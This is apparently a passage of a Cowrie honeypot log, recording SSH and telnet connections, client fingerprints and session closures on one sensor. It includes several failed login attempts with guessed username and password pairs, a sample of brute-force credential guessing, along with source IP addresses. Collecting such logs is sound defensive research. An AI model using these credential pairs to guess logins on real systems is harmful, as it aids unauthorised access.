.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:20.379670Z","src_ip":"37.143.61.130","session":"8d4fc8df052d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45470,"dst_ip":"159.203.135.109","dst_port":23,"session":"44953a6d9e3e","protocol":"telnet","message":"New connection: 209.126.87.217:45470 (159.203.135.109:23) [session: 44953a6d9e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:20.796179Z"}
{"eventid":"cowrie.session.closed","duration":32.332624673843384,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:20.895551Z","src_ip":"209.126.87.217","session":"b12bc7921121","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.88673543930054,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:21.154716Z","src_ip":"139.162.207.207","session":"f5ca843eebc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":53292,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f40e636264","protocol":"ssh","message":"New connection: 171.244.141.86:53292 (159.203.135.109:22) [session: 13f40e636264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:23.485088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:23.490007Z","src_ip":"171.244.141.86","session":"13f40e636264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:23.750141Z","src_ip":"171.244.141.86","session":"13f40e636264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe...","message":"login attempt [ubuntu/123qwe...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:24.806459Z","src_ip":"171.244.141.86","session":"13f40e636264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"qazwsxedc","message":"login attempt [ftptest/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:25.085203Z","src_ip":"37.143.61.130","session":"8d4fc8df052d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":50118,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3240b0a7a1d","protocol":"telnet","message":"New connection: 139.162.207.207:50118 (10.17.0.5:23) [session: c3240b0a7a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:25.231752Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":42320,"dst_ip":"10.17.0.5","dst_port":22,"session":"990d0c535b94","protocol":"ssh","message":"New connection: 45.43.86.48:42320 (10.17.0.5:22) [session: 990d0c535b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:25.683158Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:26.064686Z","src_ip":"171.244.141.86","session":"13f40e636264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:26.305815Z","src_ip":"37.143.61.130","session":"8d4fc8df052d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:26.597934Z","src_ip":"45.43.86.48","session":"990d0c535b94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:26.686841Z","src_ip":"45.43.86.48","session":"990d0c535b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":50130,"dst_ip":"10.17.0.5","dst_port":23,"session":"0150b2c07fa7","protocol":"telnet","message":"New connection: 139.162.207.207:50130 (10.17.0.5:23) [session: 0150b2c07fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:27.806818Z"}
{"eventid":"cowrie.session.closed","duration":37.64596724510193,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:28.718350Z","src_ip":"139.162.207.207","session":"92791857af2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10554003715515,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:29.708324Z","src_ip":"209.126.87.217","session":"132babbd4d54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.611337661743164,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:29.763610Z","src_ip":"209.126.87.217","session":"b8cb553ea1f4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"00000000","message":"login attempt [ubuntu/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:30.586850Z","src_ip":"45.43.86.48","session":"990d0c535b94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.06052565574646,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:30.867225Z","src_ip":"139.162.207.207","session":"0150b2c07fa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:32.190696Z","src_ip":"45.43.86.48","session":"990d0c535b94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.02417612075806,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:33.444336Z","src_ip":"209.126.87.217","session":"f5fd9b9d5a7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.83809518814087,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:34.103845Z","src_ip":"209.126.87.217","session":"de2095b049b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47468,"dst_ip":"159.203.135.109","dst_port":22,"session":"5857fe54d30b","protocol":"ssh","message":"New connection: 159.203.92.129:47468 (159.203.135.109:22) [session: 5857fe54d30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:39.455558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:39.460130Z","src_ip":"159.203.92.129","session":"5857fe54d30b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:39.465060Z","src_ip":"159.203.92.129","session":"5857fe54d30b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"QAZ2wsx","message":"login attempt [ansible/QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:39.476913Z","src_ip":"159.203.92.129","session":"5857fe54d30b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35612,"dst_ip":"159.203.135.109","dst_port":23,"session":"d53df89851fd","protocol":"telnet","message":"New connection: 209.126.87.217:35612 (159.203.135.109:23) [session: d53df89851fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:40.079725Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35614,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e1f9663a137","protocol":"telnet","message":"New connection: 209.126.87.217:35614 (159.203.135.109:23) [session: 7e1f9663a137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:40.350770Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:40.483476Z","src_ip":"159.203.92.129","session":"5857fe54d30b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.32023525238037,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:41.125442Z","src_ip":"209.126.87.217","session":"7f0a71854397","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.68615436553955,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:41.503427Z","src_ip":"139.162.207.207","session":"1ccbe4979cfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.282272815704346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:42.118082Z","src_ip":"209.126.87.217","session":"a51d3c3a0d4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0012035369873,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:42.623172Z","src_ip":"72.27.54.238","session":"fb0136e6b77d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.27.54.238","src_port":48690,"dst_ip":"159.203.135.109","dst_port":23,"session":"fceb95f08ebc","protocol":"telnet","message":"New connection: 72.27.54.238:48690 (159.203.135.109:23) [session: fceb95f08ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:42.826912Z"}
{"eventid":"cowrie.session.closed","duration":38.07809281349182,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:43.491503Z","src_ip":"139.162.207.207","session":"1e6da1a4a163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.982189893722534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:44.049769Z","src_ip":"209.126.87.217","session":"342d9e51ba0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":52302,"dst_ip":"159.203.135.109","dst_port":22,"session":"85243b8daf11","protocol":"ssh","message":"New connection: 103.146.202.174:52302 (159.203.135.109:22) [session: 85243b8daf11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:44.094208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:44.100650Z","src_ip":"103.146.202.174","session":"85243b8daf11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:44.349600Z","src_ip":"103.146.202.174","session":"85243b8daf11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39048,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d442f72081c","protocol":"telnet","message":"New connection: 139.162.207.207:39048 (10.17.0.5:23) [session: 7d442f72081c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:44.831884Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35626,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cdce5e17eda","protocol":"telnet","message":"New connection: 209.126.87.217:35626 (159.203.135.109:23) [session: 7cdce5e17eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:44.946294Z"}
{"eventid":"cowrie.login.failed","username":"dockeruser","password":"docker","message":"login attempt [dockeruser/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:45.378383Z","src_ip":"103.146.202.174","session":"85243b8daf11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.8542857170105,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:45.644818Z","src_ip":"209.126.87.217","session":"4f44b109ea31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.3918080329895,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:46.121385Z","src_ip":"139.162.207.207","session":"b2a57d13767e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:46.628323Z","src_ip":"103.146.202.174","session":"85243b8daf11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39064,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdb0482fc7b3","protocol":"telnet","message":"New connection: 139.162.207.207:39064 (10.17.0.5:23) [session: fdb0482fc7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:47.857518Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39070,"dst_ip":"10.17.0.5","dst_port":23,"session":"edb4ab201b0e","protocol":"telnet","message":"New connection: 139.162.207.207:39070 (10.17.0.5:23) [session: edb4ab201b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:48.302196Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35630,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef467f58993c","protocol":"telnet","message":"New connection: 209.126.87.217:35630 (159.203.135.109:23) [session: ef467f58993c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:49.184651Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39072,"dst_ip":"10.17.0.5","dst_port":23,"session":"00a934f29be3","protocol":"telnet","message":"New connection: 139.162.207.207:39072 (10.17.0.5:23) [session: 00a934f29be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:49.262810Z"}
{"eventid":"cowrie.session.closed","duration":120.00115942955017,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:49.528337Z","src_ip":"42.114.201.41","session":"16492e1fcacd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52784,"dst_ip":"159.203.135.109","dst_port":23,"session":"86819d9261e3","protocol":"telnet","message":"New connection: 209.126.87.217:52784 (159.203.135.109:23) [session: 86819d9261e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:49.879040Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52792,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3eefbf5f3f2","protocol":"telnet","message":"New connection: 209.126.87.217:52792 (159.203.135.109:23) [session: c3eefbf5f3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:50.328530Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35640,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c45bd47fff4","protocol":"telnet","message":"New connection: 209.126.87.217:35640 (159.203.135.109:23) [session: 3c45bd47fff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:50.356408Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":56830,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8ea9ed2375d","protocol":"telnet","message":"New connection: 42.114.201.41:56830 (159.203.135.109:23) [session: c8ea9ed2375d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:50.678645Z"}
{"eventid":"cowrie.session.closed","duration":120.0017957687378,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:51.235934Z","src_ip":"42.114.201.41","session":"791352831f7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52806,"dst_ip":"159.203.135.109","dst_port":23,"session":"c488d29d8e29","protocol":"telnet","message":"New connection: 209.126.87.217:52806 (159.203.135.109:23) [session: c488d29d8e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:51.256209Z"}
{"eventid":"cowrie.session.closed","duration":31.48045015335083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:52.276465Z","src_ip":"209.126.87.217","session":"44953a6d9e3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00135207176208,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:52.301179Z","src_ip":"42.114.201.41","session":"12000853708f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":35108,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c807ce1d3fd","protocol":"telnet","message":"New connection: 42.114.201.41:35108 (159.203.135.109:23) [session: 6c807ce1d3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:52.660621Z"}
{"eventid":"cowrie.session.closed","duration":34.780280351638794,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:52.706100Z","src_ip":"139.162.207.207","session":"07c8e7c6b3b8","protocol":"telnet"}
